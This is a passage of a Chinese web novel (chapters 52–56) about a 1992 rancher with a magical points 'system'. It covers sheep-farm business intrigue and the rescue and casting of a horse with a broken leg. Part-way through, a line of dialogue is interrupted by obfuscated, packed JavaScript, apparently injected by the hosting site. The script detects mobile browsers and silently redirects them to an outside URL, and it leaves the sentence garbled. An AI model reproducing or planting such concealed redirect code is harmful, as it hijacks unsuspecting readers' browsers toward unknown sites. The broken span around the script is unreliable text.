算了算之后要花的钱，姚新泉只觉得心也痛肉也痛！看着上次那批羯羊卖了些钱，但是扣除掉买入的钱、饲料育肥的钱、人工成本之后就已经缩水一大截了。 现在在算一算未来的开支姚新泉是真觉得发愁，可若是空置着牧场又觉得浪费资源。 倒也可以租借给别人用，但是万一人家破坏了牧场、过度放牧，那不仅自己要承担相应的责任，后期恢复草场花费的钱那就更多了啊！ 姚新泉叹气，算了，多花一点就多花一点吧，反正手头上也不是没有钱，贷款也还有一阵子才需要还，自己辛苦一点，只要这批牲畜跟家禽都没什么问题，那自己应该能好好回一波血！ 52. 第 52 章 田学林从坐上火车开始整个人都是懵的，不是，他一个年纪轻轻北大毕业的集团中层管理为什么要去湖州去调查一家种羊场的经营情况？ 什么湖羊？他涮羊肉都只吃内蒙和新疆的好吗！ 可怎么办呢？小老板回来了要求他去调查情况，而大老板又同意，还能怎么办，只能老实去喽！ 他也是实在搞不清楚了，公司业务到底跟种羊有什么关系？难道说之后老板打算进军畜牧业？可是他前一阵子不是还听说老板想进军计算机行业吗？ 哪怕有一肚子不解，田学林业只能老实去了湖州。 下了火车后车站没见到出租车，他只能无奈上了一辆三轮车直直去了湖州金太阳种羊场。 蹬三轮的师傅听到他的目的地后还有点奇怪，“同志啊你要去种羊场吗？要我说咱们种羊场的羊都挺不错的，只是不知道怎么回事这两年听说好像都没什么养殖户从他们这里买羊，我邻居的亲家家里小儿子就是种羊场的，看那个意思估计得下岗了啊！” 他又是唏嘘又有点幸灾乐祸，当初他们一个个进了场的都觉得是拿到一辈子的铁饭碗了，在他们这些人的面前都高人一等。 现在三四十岁下岗也不知道能不能接受得了！世事无常啊！ 田学林挑了下眉开始跟师傅聊了起来，等下车时候对于种羊场的初步认识已经有了。 这是本地唯一一家国营种羊场，专门做湖羊的繁殖和培育的，规模不算特别大，但是也不小了，巅峰时期每年能送出去十来万只羊羔。 但这两年经营不利，员工已经好几个月没发过工资了。不知道为什么别说国营牧场了，就连私人老板都没来下过单子。 场子里的羊羔吃喝什么不要钱？这几个月已经陆陆续续卖掉了不少羊羔，既是给场子回回血，也能减少点饲养成本。 田学林下车打量了一下种羊场的门头，看上去已经有些年头了。 他想了想打算假借要采购为由去了解一下情况，本以为会被保安拦住，但是直到进了场子都没有人拦他。 田学林伸着脖子往保安室里看了一眼，好家伙，根本没有人在。 他轻轻皱眉，连保安都没有，外人随意进出，看来这场子是真的不行了啊！ 他进了场区看了一圈，竟然一个人都没有，更是无语，就算场子明天要破产倒闭，今天也得把最后一班岗站完啊！ 山门大开丢了什么责任谁承担？ 他继续往里走去，不知怎么就摸到了饲养区域，终于见到了一个愁眉苦脸的中年女人。 “大姐你好，我是想来买种羊的，但我进来转了一圈就只见到你一个，其他人呢？” 大姐正在给羊喂饲料，田学林探头看了一眼眉头皱得更紧了。 这羊怎么这么瘦？他眼中闪过一抹嫌弃，不会是有什么寄生虫吧？ 大姐回头看了他一眼，像是没什么谈兴，“人都去政府门口要工资或者要求安置了，场子里就我一个。” 她是不想要吗？还不是因为她闺女就在政府部门里面工作，自己要是去闹被熟人看见肯定影响不好所以忍着没去。 “你走吧，现在也没人招待你，也没人来处理这个事儿”，大家都忙着解决自己的事情，哪有功夫顾忌这些畜生？ 再说了虽然是来买羊，但是他一个人能买多少？也不可能把所有牲畜都买下来或者给种羊场一条生路，谁乐意理他？ 田学林听了这话便也不急着去找其他人了，他探头在羊圈里看了一圈，大姐也不拦他。 “大姐，这些羊都是母羊吗？有没有生过呢？是种羊吗？场子里就这么多了吗？都在这了吗？这有多少只啊？” 大姐见他还不死心又叹了口气，反正也没别人跟自己说话便介绍了起来。 “这里就300只湖羊，全是刚成年只生过一胎的小母羊，这在场子里算是最贵的牲畜了，可全是我饲养的呢！” 对于母羊来说，经产母羊是要比未生产过的贵一些的，因为它们的繁殖能力已经经过验证了，而且有过照顾羊羔的经验。并且这种买回去就能直接配种，只要不是产过多胎损伤了身体或者年龄太大，一般这种会比小母羊更贵。 “你应该也打听过咱们经济效益不好，也买不起饲料了，只能养一部分的羊，别的这段时间断断续续卖出了，只有我养的这一批跟后面的一批育肥的小公羊最终留了下来。” “那这些羊都还健康吗？” 大姐白了他一眼，“要是不健康不早就跟别的羊一起被处理了？” 田学林想了想也是，不过这些羊这么瘦，还是得找兽医来确定一下才行。 两人又聊了几句田学林便离开了，之后他花了两天时间把这中间的事情全部理清楚后找了家公用电话给师月江打电话。 “小老板，事情我已经全都查清楚了！”终于快要离开了，激动！ 师月江鼓励了他几句就示意他继续说，希望是好消息吧！ “种羊场里这两年确实没有太多生意，不过就跟大多数国营厂子遇到的情况一样，如果能度过这段阵痛期倒也能缓过来，但是很可惜他们遇到了心怀不轨的人。” “有私企恶意抢夺生意，导致种羊场原本还剩的客户也全都被抢走了，这样一来种羊场便长期处于亏损状态，财政上也很不好看，所以本地政府决定抓大放小，将种羊场出售。” “原本场里的羊养不起也没人愿意作为种羊收购，在员工大半年未发工资的情况下，场里征得上面的同意已经处理了绝大多数种羊，如今母羊仅剩300只，据我了解到的来看，这300只羊是谋划着接手这家种羊场的私企老板为自己留得火种。” “我查到了这家私企在当地畜牧行业里很是有一些影响力，家里亲戚在行业协会、政府部门都有任职，他们收购这家种羊场的可能性最大，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624894|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过也没少在中间搞鬼。” 田学林有些不屑，也就是他想走正道，这些招数他是看都看不上！ “我想办法看到了他们的资产评估造价，很明显没有剥离隐形负债，把职工的医疗费、安置费等等都排除在了收购价之外，减轻了私企的收购负担。” “同时我也打听到了他们已经在搞通过以种羊场的资产作抵押支付收购款的操作了，等目的达到之后再通过破产核销债务，到时候倒霉的是国家跟职工，私企老板美美拿到钱走人。” “那批留下来的种羊我也托兽医去看过了，都没什么病，只是最近场里人喂养不上心所以都显得瘦巴巴的，回去好好养养就成。” 师月江听完之后很是满意，哥哥的人的工作能力就是强！ “这样，田总监你把这事儿捅到农业局的何主任那里，这几天我也了解了一下，目前管理他们这家种羊场的是一位姓黄的人，这人何主任有矛盾，你把事情捅出去然后再提出收购那一批300只种羊的事情，相信能谈下来的”。 帮他打击了政敌又避免了国有资产流失，相信这个小忙他肯定会帮的！ “另外运输问题你也谈一谈，如果能谈下来最好，辛苦了！” 师月江满意地放下了电话，湖羊的事情差不多搞定了，杜泊羊那边农大也已经在办相关手续，等非洲那边谈好了这边就能办手续了！ 姚新泉自然是还不知道这个好消息，她现在正在萨伊普种羊场参观呢！老实讲，不是很愉快。 她本来以为种羊场面向个体户这个事情既然已经确定了，上面都已经采取措施，并且他们也派人去参加了本来没必要参加的会议，不就是表明自己的态度？ 那现在是在做什么？ 姚新泉指了指自己面前那个鼻孔朝天的男人，很是不解地看向站在自己身边的王林，脸上写满了疑惑。 王林叹气，放低了声音苦笑道，“他是场长的外甥。” 姚新泉都气笑了，“他是场长外甥又不是我外甥，我来花钱的他对顾客就是这个态度？” 周根才听到这话后冷笑一声，头都没抬，“有些人啊可真会给自己贴金，还顾客，兜里几个子儿啊就敢来我们国营厂？要搁早些年都该被打为投机倒把蹲监狱去！” 听了他这番癫癫的话，姚新泉莫名便没那么气了，她一正常人跟傻子较什么劲？ “王同志，我就想确定一下你们场到底是否要对外出售阿勒泰羊的种羊以及美利奴羊的种羊？如果你们不出售的话那我就不耽误时间先回去了。” 王林没忍住瞪了周根才一眼这才对姚新泉道，“姚同志你别理有些人，我们心心念念都是希望场子更好，有些人则不知道在想些什么，没那个当地主老爷的命倒是瞧不上普通人了，也不知道高贵在哪里！” 周根才听了这话自然是忍不了了，他冲上来就推了王林一把，“你个狗东西找死是吧？” 53. 第 53 章 也许是两人积怨已深，三两句话的功夫两人便打了起来，周根才看着是个壮的，实际上就是个银样镴枪头，被身材瘦小的王林按在地上打。 生怕王林下手太重把人打出事了，姚新泉赶忙上去拉架，也不知道他一个小个子哪里来的这么大力气，姚新泉都费了一番功夫才把人拉开。 “行了，去找一下你们厂子的领导吧，我比较好奇，这明明是国家政策，为什么到你们厂子就落实不了了！一个饲养员竟然能阻止顾客看羊？我真是大开眼界了啊！” 王林此时也是破罐子破摔了，这都什么事儿啊！ 不说他自己业绩的问题，他也希望场子能越来越好。从那天的会上可以看出，姚新泉不仅家大业大，同时本事、眼界都不小，又有她爸爸的余荫，这种情况下她不赚钱谁赚钱？ 国营场子如今难，他记在心里看在眼里并且想做一些什么，可这些人呢？他们就是蛀虫！ “姚同志你稍等一会儿，我去找场长”，姚新泉赶忙加了一句，“也叫上书记吧！” 虽然不敢说场长一定有问题，但是能把这种外甥弄到场里来就足够她对这位场长印象很差了！ 周根才冷笑一声才不在意呢！他舅舅自己没有儿子，将来可是指望着自己给养老的，他怎么可能不偏帮自己？ 事情并不如姚新泉所料，场长旗帜鲜明地偏帮着周根才，书记甘当睁眼瞎，姚新泉气笑了，“行，既然你们看不上我这小家小户的生意，我也不求着你们，告辞了！”说完也没再说什么转身便离开了。 她是离开了，但这件事在萨伊普种羊场却没消停下来。 王林敢跟周根才动手是因为什么？是因为他家两代人还有不少亲戚全都是种羊场的职工，他们把种羊场当家，自然是容不得有这种败类在其中！ 王林带头写了一封联名举报信，连同场里大多数职工一起交到了农业局，农业局自然是很重视，并展开了一系列调查。 不过后续的事情姚新泉都不太清楚，此时她也是一肚子的火。 萨伊普种羊场在他们隔壁县的郊区，车站在县另一边，早晨来的时候是王林骑摩托车去接她的，这下可好，只能走着回去车站了。 她心里憋着一股火，这都什么年代了，都1992年了，怎么还有这种蠢货觉得国营单位就高人一等啊？ 不说别的上面都下文件要改铁饭碗的事情了，他们真以为能在这个场子里待到死？ 简直是笑话！ 不合作就不合作，新疆这么大，难道还找不到几只好的种公了？ 这一路上有不少依托萨伊普种羊场存在的围起来的牧场，姚新泉来的时候还有心情东看看西看看，但是现在她气压低沉根本没有心思观察周围，蒙着头就往前走。 “检测到宿主西北方3公里处有一只受伤的动物需要救助，宿主是否要救助？” 姚新泉停下了脚步，脸上写满了疑惑，她环视一圈后没忍住问道，“系统，你不会告诉我你是让我到别人家里去救助别人家养的牲畜吧？” 这周围都被围起来了，往西北走直线的话还得翻墙，这不是别人家养的还能是野生刚好落在人家牧场里的？ 可转念一想也未必不可能啊？但是这么贸贸然上门好像不太好吧？ 心里这么想着她身体却很诚实地搜寻着入口，没办法，还差25分可就能学基础兽医课程了啊！ 希望不要再来一只便宜的点点了！ 她绕着围墙走了一会儿后终于找到了大门，在门外喊了几句有人吗，隐约听到狗叫声姚新泉这才住嘴。 果然没一会儿就见到了两只黑色大狗在前面跑了过来，后面跟着一男人。 她眯着眼睛看了一会儿后眼睛瞬间便亮了！ 巧了吗这不是？ 阿合买提啊！熟人啊！不用发愁找不到借口了！ “新泉怎么是你啊？”近前看到是姚新泉之后阿合买提脸上的愁苦褪去了一些，露出了几分高兴来，“快来快来，今天怎么过来了？” 姚新泉其实有点尴尬来着，空着手上门实在是不好看，但也只能解释道，“我这不是本来去萨伊普种羊场那边谈生意嘛，结果他们没诚意，我就先走了，想到叔叔你家就在这边我就过来认认门！” 阿合买提笑着引着她往毡房里走，“我上次走的时候还想着抽空去看看你的，但回来之后一屁股的事情我就想着晚几天再去找你，没想到你倒是先来了。” 那天太忙了两人也没能好好聊聊，但阿合买提看出来她现在养殖搞得有声有色的便也拉着她问她牧场的情况。 听她说了个大概后不停地点头，“挺好的挺好的，我上次本来不打算弄那什么青贮的，但是我听你讲了之后觉得挺有道理的，所以也订购了一些到时候给家里的牛羊补充饲料。” 两人聊着的时候毡房门口突然冲过来一个人，“你赶紧去看看那马怎么办啊？不行的话就杀了吃肉吧！” 阿合买提抱歉地看了她一眼，倒是姚新泉目光一动，这应该就是要救治的动物？ “叔叔，不然我跟你一起去看看？” 阿合买提以为她在迁就自己，有些不好意思地解释，“我家里亲戚送了我们一匹纯血的阿拉伯马，家里小兔崽子非要偷摸骑马，结果今天马摔了一跤，腿断了。” 姚新泉心里一沉，马腿断了可不容易恢复啊！ 马的身体非常沉重，四肢需要支撑住那么庞大的体重，腿部的骨骼和关节都要承受很大的压力，一旦骨折，骨骼就很难在负重的情况下稳定愈合了。 而且马腿下部的肌肉覆盖也偏少，几乎除了骨头就是由肌腱、韧带组成，没有软组织的缓冲，损伤之后就很难恢复。再加上马腿远端血液循环较差，营养和氧气都供应不足，更是会导致伤口延缓愈合的。 姚新泉家里以前有一匹小马就是腿骨折了，家里也采取了一些救治措施，最终还是没能救下 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阿合买提一愣，他媳妇儿则是目光亮了起来，轻轻拉了下他的衣摆。 阿合买提皱了下眉头，想了想还是拒绝了，“腿断了难治，治好了也没办法恢复成以前那样了，划不来！” 姚新泉眼珠子一转，“那要不你就以马肉的价格卖给我，回去之后我治成什么样大家都不吃亏！” 阿合买提还想说什么，姚新泉就低下头摸了摸小红马的脸，它脸上湿润了一块儿，看上去特别像泪水。 阿合买提也不舍得杀啊！他想了想咬牙应下了，“那我想办法找车给你送回去！” 姚新泉没拒绝，两人大概估算好价格后她身上刚好带的有现金，把钱给了对方后，阿合买提的老婆看她的眼神更热情了。 她拉着姚新泉在看自家的牲畜，姚新泉看到羊圈的时候愣了一下，“这是中国美利奴羊？你们家也有繁育？”还这么多只公羊？ 阿合买提点头，有些骄傲得道，“之前种羊场忙的时候会找临时工去帮忙，我跟我媳妇儿去过，我们不要钱，就要把我们家的羊也配了，所以我们家的羊跟种羊场的羊是一样的！” 这不就是踏破铁鞋无觅处得来全不费工夫？ 事情巧合得出乎她的预料，她跟阿合买提谈起了这一批公羊的事情，“我家牧场里的细毛羊需要改良一下品种，我想用中国美利奴羊去配，你看你家羊”，话到了嘴边后她换了一句，“可以租给我吗？” 家里有五百只细毛羊母羊，自己要公羊也只是想繁育，明明可以租干什么要花钱买呢？ 阿合买提拒绝，“不用租，我借给你用！” 他家的母羊都揣崽了，就等着接春羔了，公羊在家里也没什么用，反而浪费饲料。姚新泉愿意给他养一阵反而减少他的压力呢！ 姚新泉这哪能同意？她又不是借一天两天，最起码要得借两个月！ 54. 第 54 章 配种很快，但是问题在于她需要人工刺激家里母羊发情啊！ 把公羊跟母羊关在一起也是一个相对来说简单有效的办法，现在天气还冷，等一两个月之后天气就彻底暖起来了，到时候母羊经过刺激是肯定可以发情的，所以公羊不免就要多借几天。 两人又谈好了租赁公羊的价格，“叔，咱们这儿有拖拉机吗，马车或者牛车的话不方便”，货车就不用想了，他们这小地方哪可能有货车！ “有有，你放心，我现在去给你找拖拉机，得要两辆才够！我再找几个人过来帮着抬一下马，我跟你回去把马卸下去我再回来！” 阿合买提动作很快，姚新泉没等多久他就带着两个大汉过来了，姚新泉给小马用了一回治愈术之后这才小心扶着它的腿配合大家一起将马送上拖拉机。 费劲儿啊！ 姚新泉坐在车斗子后面心里忍不住庆幸自己是带了围巾帽子过来的，她低头看了一眼侧躺在自己身边睁着大眼睛看着自己的小红马，“你别着急哦，先暂时躺一躺，等回家之后我想办法给你把腿吊起来，你这样压力会小一些的。” 就算马儿受伤了也不能长期让它躺着，这会压迫到身体器官的，除非说是她一两个小时就去给马儿翻身，白天还行，晚上怎么办？ 阿合买提听到这话后叹了口气，见姚新泉看过来他露出个无奈地表情来，“觉得我要宰了它心狠是吗？” 姚新泉摇了摇头，听说那些赛马骨折后也可能会安乐死，因为真的很难治好，给他们安乐死也只是为了不让它们承受太多的痛苦，没办法，救治成功的几率太低了。 但是你要求一个在温饱线挣扎的人去考虑什么人文关怀就有点太不近人情了，也许这匹马的肉卖出去就够家里孩子读书了，或者是就能多买几只羊了，反正无论如何都不会浪费的。 “我刚听你说要把腿吊起来，你是打算用吊马兜吗？”阿合买提问道，这东西他反正是没用过，只是之前听别人提到过，反正在传统牧民眼里这马腿一断那就别想了。 姚新泉没点头，只是道，“我确实有这个想法，但是回去之后还是得跟兽医讨论一下看看有没有更合适的办法。” 吊马兜具体的出现时间已经不可考究了，但这种东西确实是治疗骨折等伤的一种辅助工具，应该已经有不短的历史了。并且随着畜牧业的发展以及兽医技术的发展吊马兜也在逐渐的发展完善。 可问题是如果马儿的骨折伤能在有吊马兜的情况下就更好更快得愈合，马骨折根本不会成为一个大难题！ 只能说有效但不多。 而且用上吊马兜的话还得注意许多问题，比方说要定时检查马与吊马兜接触部位的皮肤，避免出现类似褥疮的伤，还要适当按摩和涂抹药膏。还得要马配合活动受伤以及未受伤的腿，避免关节僵硬肌肉萎缩，反正还有挺多注意事项的。 就算全都注意到位了同样也没办法保证能痊愈！ 所以还是得好好考虑一下小红马的治疗方案啊！ 阿合买提欲言又止，他想说还是不要费劲儿了，救治它又花钱又没效果，时间一长马还要掉秤。可这马到底是自己卖给人家的，一时间心里很不是滋味。 拖拉机到了山脚下之后上山的路就麻烦了一些，倒不是别的，主要还是因为有积雪。师傅放低了速度，心里庆幸还好装了防滑链，也算是多了一层保护吧！ 大老远便听到狗狗军团的声音，阿合买提笑道，“你家的狗可真精神啊！” 姚新泉点了点头，餐标比自己都要高了，能不精神？ 几人把拖拉机直接开到了一个空置的牲畜棚里，之前在阿合买提家用的简易担架也被带来了，上去的时候没用上姚新泉，但是这次姚新泉还有两位开拖拉机的师傅、阿合买提四人一起用力，小心将小红马抬了下来几人这才松了一口气。 两位司机跟阿合买提帮忙将25头公羊关到了棚子里，姚新泉则是先赶紧去家里找了两条干净又结实的粗布床单，然后在马棚里转了转，找到了两根高度跟粗细都合适的房梁，爬上梯子将床单的一端绑在房梁上又用力拽了拽，感觉还挺紧的，又比划了一下长度，把马身体兜住剩下的长度也够绑在另一边房梁上，刚好。 这两条床单是家里以前还住老房子的时候铺在炕上的，专门去店里扯得布，特别长，如果是现在外面卖得四件套里的床单那是肯定不够的。 几人一起将小红马抬到边上后，再用力将小红马扶起来。它似乎也知道这些人是想帮它，配合着使劲勉强用三条腿支撑站了起来。 姚新泉赶紧将床单穿过它的腹部将它的身子兜住，想往上挂的时候无奈叹了口气，“叔叔，你们帮我扯一下这块儿布，它太重了我自己抬不动。” 别看她的力气是被系统加持过的，但也这是个力气比较大的普通人，听阿合买提讲这匹小马现在也才2岁，是纯血阿拉伯马，也不知道他朋友是哪里来的纯血马。 阿拉伯马一般寿命大概在30-35岁左右，个别能有40岁，算起来差不多是3岁左右成年，所以小红马现在还没成年，只能算是一匹少年马。 而且阿拉伯马也不是大型马，算是中型，就算成年了体重也就最多500公斤，小红马现在差不多300公斤左右，在它这个年龄算是很不错的了！ 要真站在平地上姚新泉可以抱起100公斤左右的重物，短暂用力的话120公斤也能勉强撼动，再重就不用想了。 这个力气比起普通人，甚至是常年从事体力劳动的壮年男性已经要大了不少，她已经很满意了。 但是这个力气在面对小红马的时候就很是勉强了，尤其她还站在梯子上，根本扯不动布好嘛！ 几人笑着过去调整了一下布的位置，又一起用力将马肚子兜起来，姚新泉眼疾手快赶紧把布捆在房梁上。 然后又把另一块儿布也兜好，保险一点，都弄好了 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“你不要担心，你刚才感受到了吧，我可以让你舒服一些的，我也会去联系兽医来看看你的伤情，跟他们讨论一下用什么方案治疗你最好”，她轻轻碰了碰小红马受伤的那条腿的上半部分，“你放心，我一定尽力治好你！” 她说话的时候马棚子的门不知道怎么就开了，从外面鬼鬼祟祟探出一个马头来，姚新泉回头看过去满脸都是无奈，“皮皮！” 隔离呢，这个死孩子非要过来！ 她硬起心肠把皮皮往外哄，“行了行了，后天，后天让你俩一起玩可以吧？”皮皮倒还好，可当她看到小红马那可怜巴巴的眼神时还是心软了，孩子都受伤了，让朋友陪陪也好。 “你先乖乖待着，脚不能落地，我过会儿给你准备饲料。” 姚新泉的心绪并不平静，就算她不是专业兽医但是她也知道，马腿骨折之后本身的伤情恢复很麻烦，但是还有另外一个很令人绝望的伤病在身后追着伤马。 蹄叶炎！ 马儿正常情况下就是需要站着的，习惯了四条腿分担重量，当只剩下三条腿的时候，三条腿承受的压力倍增，就很容易引发蹄叶炎。 想象一下的是指骨在指甲盖后面翻转90度是什么感觉？ 蹄叶炎严重时候就是这种感觉！ 而且蹄叶炎是不可逆的，最多就是防止不要进一步恶化。 所以对于伤马来说，即便腿伤真的愈合了，万一患了蹄叶炎同样会给它带来剧烈的痛苦，根本无法忍受。费时费力治疗半天之后可能结果还是去结束它们的生命，这就是为什么绝大多数牧民并不会去尝试治疗它们。 付出和回报不成正比，而且还可能会增加马儿的痛苦，既然这样的话那为什么还要勉强呢？ 可如果系统没有派单也就罢了，既然派了，自己也接了，那如果不倾尽全力尝试一次，姚新泉自己也会不甘心的。 就当是给小红马也是给自己一个机会吧！ 55. 第 55 章 姚新泉出了马棚之后先去看了25只公羊，都是适龄的健壮公羊，阿合买提自己就做过初筛，这批羊的身体条件都非常不错。除此之外它们的毛的质量也不低，满足姚新泉的要求。 暂时先隔离两天，等没什么问题之后再合笼，放到母羊圈里去。 她给家里牛羊马都喂好饲料之后才开始给小红马配饲料，家里没有什么牲畜用的营养补充药剂，所以只能先给它配了蛋白质饲料豆粕、易消化的能量饲料苜蓿草，然后又给他了两颗梨补充维生素，又把清水给他放好这才回到了客厅。 她也没心思做饭，坐在那便开始问，“系统，救助小红马奖励多少积分？” “25积分哦！” 蹭地一下姚新泉便站了起来，“那我现在是不是能买兽医课程了？” “不是哦！” 姚新泉眉头皱了起来，“为什么不行？点点1分，小金15分，小狼崽15分，莱尼15分，高鼻羚羊30分，加今天的25，这已经101了，我凭什么不能购买？” “宿主，系统要求的是救助，你只是把它带回来了，暂时避免了它被杀，可你自己也知道无论是腿伤还是虎视眈眈的蹄叶炎，哪一个都能要了它的命，你救好了吗？” 点点、小金、小狼崽本身就没什么大问题，只要脱离当时的环境也不需要救治。 莱尼的话是有被冻伤的，但是时间短不严重，过一段时间也能自愈。 至于高鼻羚羊能有那么高的分更多的是因为它足够珍惜，两只里面的小男孩虽然受伤了，但是不致命，小女孩更是完好无损，所以当姚新泉把它们带回来之后系统基本都在第一时间给了积分。 可小红马不是啊！它现在还没脱离危险期呢！ 姚新泉咬牙，表情有些难看，她又不是学医的，除了一些经验以外她倒也看了两本书，可兽医又不是我翻两本书就能胜任的？虽然看起来好像没有什么准入门槛，但是这治病你能不能治好这不是一目了然的？ 现在明明可以买课了，可系统卡她！ 姚新泉气得不行，半天后才冷静下来卖惨，“系统，你也知道我的难处，别说找艾力大夫了，就算我找到北京去有几个兽医敢拍着胸脯跟我说一定能治好它？” 小红马的伤情相对来说不算太严重，不是开放型骨折，它的体重也不算特别大，所以还有一些希望，如果现在给她来一匹一千公斤的大型马，那还是算了吧，这积分她不要了，别死在她眼前让她难受了！ 可就算这样，她也需要许多的知识来充实自己，医疗知识、饲养知识、护理知识，各个方面的。如果她不能在每一个方面都做得好，又怎么能敢拿小红马的命和痛苦去赌呢？ “你既然给我发了这个任务，又给了这么高的积分，不就是说明你希望我能接，并且能治好它吗？你总不能就是为了看我治不好它，眼睁睁看着它痛苦而死然后陷入自责崩溃的情绪才发的任务吧？”姚新泉循循善诱，她能感觉到系统已经动心了。 “我也不是要你白给我积分，我知道你说的也确实有道理，那这样你看行不行？我借，我先问你预支这25积分，然后购买兽医课程好好学习，等我治好了我这不就能把积分还回去了？” 系统沉吟了一会儿，就在姚新泉咬牙想要说自己可以给利息的时候它终于答应了。 “行，那系统预支给你25积分，你是否要购买初级兽医课程？” “购买！”姚新泉用力锤了一下自己的左手，虽然是提前消费但是能购买课程怎么都成！ 她点开系统下发的课程后，眼前突然出现了一块儿屏幕，上面像是一块儿黑板一样，会凭空出现字，还有老师的声音以及突然出现在她手上的一本书。 “系统产物无法给除你之外的其他人看到”，也就是说这本书在别人看来可能是一本装订好的白纸或者本子，反正不是一本《初级兽医学》。 姚新泉按捺住心中的激动，先按照系统的指导暂停了课程，并翻看起了手中的教材，先预习一遍之后再看讲解吧！ 翻看两页后就先放下了，小马才受伤得及时治疗不能耽误了，不说别的，肯定是要做外固定的啊，不然骨折端万一再发生移位或者愈合畸形那更完蛋！ 姚新泉收拾收拾赶忙下山去找艾力兽医，刚才上山的时候忘了把他接上还挺耽误事情的！ 等艾力听说她要救一匹骨折的马，而且还是买回来的时候表情很是一言难尽，到底不是自家孩子也不好骂她，只能垮着一张脸跟着她上山，姚新泉要帮他背东西他也不高兴，看的姚新泉有点尴尬。 确实，在不少人看来她就是傻。 可姚新泉想过了，即便是最坏的情况她也能接受，而且当时不是还想着只要带回来就有25积分嘛！谁能想到系统这么精！竟然得得是救治成功了才有积分！ 一路上艾力都没有说话，等到了牧场后还是没忍住叹气，脸上多了几分无奈，“你说说你，你哪一分钱是赚的轻松的？都不说别的了，冬天你一个人喂几百只牲畜，轻松吗？你别觉得你赚了点钱就能乱花了，你贷款不要还啊？不要买别的牛羊了？冬天的饲料怎么办？万一再有点儿什么疫情，你日子还过不过了？” 姚新泉听着他的数落虽然有些尴尬，但还是很感谢他，“不贵，我就是按照肉的价格买的，如果能养好了这可是纯血阿拉伯马呢！” 艾力冷笑，养好了？“你能养好还是我能养好？” 他也不想多说了，进了马棚之后当他看到委屈巴巴站在那边的小红马时有一个瞬间突然就懂了姚新泉为什么要花钱救它了。 这小家伙品相真好！ 阿拉伯马本身就是不少优质马的母本或者父本，这一头还是纯血的。光看外观，头部呈楔形，前额宽阔，面部凹陷，眼睛又大又深邃，鼻孔也大，方便散热。 耳朵短小直立，听到声音后转动得也 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他目光很是赞许地落在了兜住小红马的床单上，“这个还不错，我之前去学习的时候老师讲过，但是我还没什么机会实践”，他作为兽医这一片的牲畜都是由他去治疗的，但是涉及到马的伤病，基本没有谁会让他去治疗马腿骨折的伤，差不多都是断了那就宰了卖肉减少损失。 “要用石膏固定一下吧？”姚新泉问，就算移位不严重，小马可能自己都控制不了会碰到伤腿，还是得有个外固定才安全一些。 艾力点头，“要，我把东西带来了。我刚给他触诊了，伤情保守治疗比较合适，我给它把石膏打上！” 他出去团了一个雪团子进来后朝姚新泉道，“你按住了，我先给它冷敷稍微缓解一下疼痛”，这也就是没有暴露性伤情，不然哪能直接用雪来降温？ 姚新泉摸了摸小红马的耳朵，低声跟它讲着让它不要激动，再给它治疗。 小家伙虽然没办法准确理解姚新泉的意思，但是能感受到她的态度，他扭过头来一头扎在了姚新泉怀里。 艾力嘿了一声眼中有了笑意，“你们倒是有缘！” 他稍微冷敷了一会儿也不敢太久不然冻伤了就不好了，见小红马老实便也大胆了一些拿出剃刀来把伤腿上的毛全都剃掉后，又去兑了点温肥皂水清洁皮肤，再用碘伏消毒了一遍。 “你按好了啊，它要是给我一脚我后半辈子肯定就赖在你家了！” 姚新泉松松地拢住它，不让它移动却也不敢太使劲怕它跟自己对抗，艾力又重新倒了盆估摸着四五十度的温水把石膏软化，他看了姚新泉一眼，“正常咱们是需要把小马放平然后按住它的身体避免它挣扎，再把伤腿调整至功能位的。你确定你能控制得住？如果控制不住还是下山找几个人来帮忙吧？” 姚新泉低头看了看小红马，见它没有丝毫要反抗的意思想了想还是道，“就先这样”，小马的情绪也很重要，之后它要保持这样的状态两三个月，不能让孩子现在太难受了。 实在不行再把石膏拆了重新打！ 56. 第 56 章 艾力哎呦了一声懊恼地拍了下脑袋，“就算不让人按住它也得找人把它的腿给我扶正啊？不然得话它那腿还是以扭曲的形状被固定起来有什么用？我真是该找个助手了！” 兽医站还有编制，但是没找着合适的人所以便搁置了，但现在到了用人手的时候找不到人就很麻烦！ “要帮忙吗？” 姚新泉刚准备下山去找人的时候就听到了马合木提江的声音，她满脸惊喜地抬头看了过去。今天没让他们夫妻俩来的，但两人想着都歇了一整个冬天了现在好不容易能出来自然是要多来帮姚新泉做点事情的所以就又来了。 “快快快你快来”，艾力也认识他，招呼他过来，“你先去洗手，洗干净之后过来我让你抓住马腿你就得固定住知道吗？” 他拿出干净的纱布将马腿表面覆盖上厚厚的一层，避免石膏直接接触皮肤，不然容易伤到皮肤。 艾力指导马合木提江抓好马腿，保持在功能位，自己赶紧去将被挤出多余水分的石膏绷带缠绕在纱布上，从骨折远端螺旋式缠绕上去，重点覆盖在骨折区域确保固定稳固。 等都缠绕上去之后趁着石膏还没完全凝固，艾力又用手在调整石膏的形状，尽量贴合马腿的曲线，避免压迫到腿部的血管神经。 他小心把马蹄露出，等石膏半干的时候轻轻按压石膏，感受到石膏微微回弹这才放下心来。 最后又找了几块儿干净的板子加固，防止石膏碎裂。 弄完后艾力抹了把头上的汗，“好歹石膏给打上了，之后就是恢复的问题，你也得好好监测，防止并发症，我给你留点儿消炎药，再告诉你要注意些什么，你做好记录，我三天上来一次，有什么问题你赶紧下山找我！” 姚新泉自然很是感激，给了诊费后本想把人送下山去的，结果艾力摆了摆手，脸上是显而易见的嫌弃，“我一个大男人还要你一个小丫头送？你赶紧回去好好看马吧！” 他脸上有两分激动又有两分迟疑，“若是能好”，他叹了口气，他只是做了最简单的处理，如果能好那一方面是姚新泉后续的护理好，另一方面就是小马本身的体质好了！ 如果还有别的原因那就是小家伙运气好！反正跟他是没几毛钱的原因的！ “好好回去看着吧，我走了！” 姚新泉回到了马棚子里走到小红马身边轻轻给它按摩肚子，马腹部这样被兜住，会影响它本身的胃部运动的，所以她得靠外力来促进它胃部的蠕动。 